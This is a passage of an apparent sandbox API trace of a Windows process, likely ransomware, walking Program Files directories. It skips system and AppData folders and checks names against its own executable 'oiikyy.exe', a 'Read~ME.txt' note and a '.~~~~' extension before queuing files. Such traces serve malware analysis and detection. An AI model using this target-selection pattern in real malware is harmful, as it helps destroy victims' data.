	[0082.538] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0082.538] lstrcmpiW (lpString1="Resources", lpString2="Windows") returned -1
	[0082.538] lstrcmpW (lpString1="Resources", lpString2=".") returned 1
	[0082.538] lstrcmpW (lpString1="Resources", lpString2="..") returned 1
	[0082.538] lstrcmpW (lpString1="Resources", lpString2="AppData") returned 1
	[0082.538] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", lpSrch="AppData") returned 0x0
	[0082.538] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.538] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", lpString2="C:\\Windows") returned -1
	[0082.538] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.538] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", lpString2="C:\\System Volume Information") returned -1
	[0082.538] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0082.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0082.539] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.539] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.539] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.539] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.539] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.539] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.539] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.539] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.539] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.539] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.539] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.539] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.539] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0082.539] lstrcmpiW (lpString1="1033", lpString2="Windows") returned -1
	[0082.540] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0082.540] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0082.540] lstrcmpW (lpString1="1033", lpString2="AppData") returned -1
	[0082.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", lpSrch="AppData") returned 0x0
	[0082.540] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.540] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", lpString2="C:\\Windows") returned -1
	[0082.540] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.540] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033", lpString2="C:\\System Volume Information") returned -1
	[0082.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0082.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0082.545] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.545] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.545] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.545] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.546] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.546] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.546] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.546] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.546] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.546] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.546] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.546] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.546] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1
	[0082.546] lstrcmpiW (lpString1="msmdsrv.rll", lpString2="Windows") returned -1
	[0082.546] lstrcmpW (lpString1="msmdsrv.rll", lpString2="oiikyy.exe") returned -1
	[0082.546] StrStrW (lpFirst="msmdsrv.rll", lpSrch=".~~~~") returned 0x0
	[0082.546] lstrcmpW (lpString1="msmdsrv.rll", lpString2="Read~ME.txt") returned -1
	[0082.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.546] GetCurrentThreadId () returned 0x618
	[0082.547] RtlWakeConditionVariable () returned 0x365f48
	[0082.547] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1
	[0082.547] lstrcmpiW (lpString1="msolui100.rll", lpString2="Windows") returned -1
	[0082.547] lstrcmpW (lpString1="msolui100.rll", lpString2="oiikyy.exe") returned -1
	[0082.547] StrStrW (lpFirst="msolui100.rll", lpSrch=".~~~~") returned 0x0
	[0082.547] lstrcmpW (lpString1="msolui100.rll", lpString2="Read~ME.txt") returned -1
	[0082.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0082.547] GetCurrentThreadId () returned 0x618
	[0082.547] RtlWakeConditionVariable () returned 0x365f48
	[0082.547] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0
	[0082.547] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0082.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.547] GetCurrentThreadId () returned 0x618
	[0082.547] RtlWakeConditionVariable () returned 0x365f48
	[0082.547] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0082.547] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0082.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0082.547] GetCurrentThreadId () returned 0x618
	[0082.548] RtlWakeConditionVariable () returned 0x365f48
	[0082.549] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0
	[0082.549] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0082.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0082.549] GetCurrentThreadId () returned 0x618
	[0082.549] RtlWakeConditionVariable () returned 0x365f48
	[0082.549] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0
	[0082.550] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0082.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0082.550] GetCurrentThreadId () returned 0x618
	[0082.550] RtlWakeConditionVariable () returned 0x365f48
	[0082.550] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29024840, ftCreationTime.dwHighDateTime=0x1d58770, ftLastAccessTime.dwLowDateTime=0x80662280, ftLastAccessTime.dwHighDateTime=0x1d57b8d, ftLastWriteTime.dwLowDateTime=0x80662280, ftLastWriteTime.dwHighDateTime=0x1d57b8d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="MXSLIP~1.EXE")) returned 1
	[0082.550] lstrcmpiW (lpString1="mxslipstream.exe", lpString2="Windows") returned -1
	[0082.550] lstrcmpW (lpString1="mxslipstream.exe", lpString2="oiikyy.exe") returned -1
	[0082.550] StrStrW (lpFirst="mxslipstream.exe", lpSrch=".~~~~") returned 0x0
	[0082.550] lstrcmpW (lpString1="mxslipstream.exe", lpString2="Read~ME.txt") returned -1
	[0082.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0082.550] GetCurrentThreadId () returned 0x618
	[0082.550] RtlWakeConditionVariable () returned 0x365f48
	[0082.550] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d9840, ftCreationTime.dwHighDateTime=0x1d56bab, ftLastAccessTime.dwLowDateTime=0xd7b43f80, ftLastAccessTime.dwHighDateTime=0x1d594c5, ftLastWriteTime.dwLowDateTime=0xd7b43f80, ftLastWriteTime.dwHighDateTime=0x1d594c5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 1
	[0082.551] lstrcmpiW (lpString1="webdrive.exe", lpString2="Windows") returned -1
	[0082.551] lstrcmpW (lpString1="webdrive.exe", lpString2="oiikyy.exe") returned 1
	[0082.551] StrStrW (lpFirst="webdrive.exe", lpSrch=".~~~~") returned 0x0
	[0082.551] lstrcmpW (lpString1="webdrive.exe", lpString2="Read~ME.txt") returned 1
	[0082.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.551] GetCurrentThreadId () returned 0x618
	[0082.551] RtlWakeConditionVariable () returned 0x365f48
	[0082.551] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d9840, ftCreationTime.dwHighDateTime=0x1d56bab, ftLastAccessTime.dwLowDateTime=0xd7b43f80, ftLastAccessTime.dwHighDateTime=0x1d594c5, ftLastWriteTime.dwLowDateTime=0xd7b43f80, ftLastWriteTime.dwHighDateTime=0x1d594c5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="webdrive.exe", cAlternateFileName="")) returned 0
	[0082.551] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0082.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x39fe28
	[0082.551] GetCurrentThreadId () returned 0x618
	[0082.551] RtlWakeConditionVariable () returned 0x365f48
	[0082.551] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc3faa40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3faa40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0082.551] lstrcmpiW (lpString1="Microsoft Office", lpString2="Windows") returned -1
	[0082.551] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1
	[0082.551] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1
	[0082.551] lstrcmpW (lpString1="Microsoft Office", lpString2="AppData") returned 1
	[0082.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office", lpSrch="AppData") returned 0x0
	[0082.551] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.551] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office", lpString2="C:\\Windows") returned -1
	[0082.551] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.551] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office", lpString2="C:\\System Volume Information") returned -1
	[0082.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0082.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc3faa40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3faa40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0082.552] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.552] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.552] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.552] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.552] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.552] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdc3faa40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdc3faa40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.552] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.552] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.552] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.552] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.552] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.552] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.552] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb881bb0, ftCreationTime.dwHighDateTime=0x1d58455, ftLastAccessTime.dwLowDateTime=0xea738270, ftLastAccessTime.dwHighDateTime=0x1d58a6b, ftLastWriteTime.dwLowDateTime=0xea738270, ftLastWriteTime.dwHighDateTime=0x1d58a6b, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="aldelo.exe", cAlternateFileName="")) returned 1
	[0082.552] lstrcmpiW (lpString1="aldelo.exe", lpString2="Windows") returned -1
	[0082.552] lstrcmpW (lpString1="aldelo.exe", lpString2="oiikyy.exe") returned -1
	[0082.552] StrStrW (lpFirst="aldelo.exe", lpSrch=".~~~~") returned 0x0
	[0082.552] lstrcmpW (lpString1="aldelo.exe", lpString2="Read~ME.txt") returned -1
	[0082.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x70) returned 0x27fcfe0
	[0082.553] GetCurrentThreadId () returned 0x618
	[0082.553] RtlWakeConditionVariable () returned 0x365f48
	[0082.553] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0082.553] lstrcmpiW (lpString1="CLIPART", lpString2="Windows") returned -1
	[0082.553] lstrcmpW (lpString1="CLIPART", lpString2=".") returned 1
	[0082.553] lstrcmpW (lpString1="CLIPART", lpString2="..") returned 1
	[0082.553] lstrcmpW (lpString1="CLIPART", lpString2="AppData") returned 1
	[0082.553] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART", lpSrch="AppData") returned 0x0
	[0082.553] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.553] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office\\CLIPART", lpString2="C:\\Windows") returned -1
	[0082.553] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.553] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office\\CLIPART", lpString2="C:\\System Volume Information") returned -1
	[0082.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0082.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0082.710] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.710] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.710] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.710] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.710] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.710] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.710] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.711] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.711] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.711] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.711] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.711] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0082.711] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1
	[0082.711] lstrcmpiW (lpString1="PUB60COR", lpString2="Windows") returned -1
	[0082.711] lstrcmpW (lpString1="PUB60COR", lpString2=".") returned 1
	[0082.711] lstrcmpW (lpString1="PUB60COR", lpString2="..") returned 1
	[0082.711] lstrcmpW (lpString1="PUB60COR", lpString2="AppData") returned 1
	[0082.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", lpSrch="AppData") returned 0x0
	[0082.711] lstrlenW (lpString="C:\\Windows") returned 10
	[0082.711] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", lpString2="C:\\Windows") returned -1
	[0082.711] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0082.711] lstrcmpiW (lpString1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR", lpString2="C:\\System Volume Information") returned -1
	[0082.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3bc6e8
	[0082.712] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0082.745] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0082.745] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0082.745] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0082.745] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0082.745] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0082.745] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.752] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0082.752] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0082.752] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0082.752] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0082.752] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0082.752] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
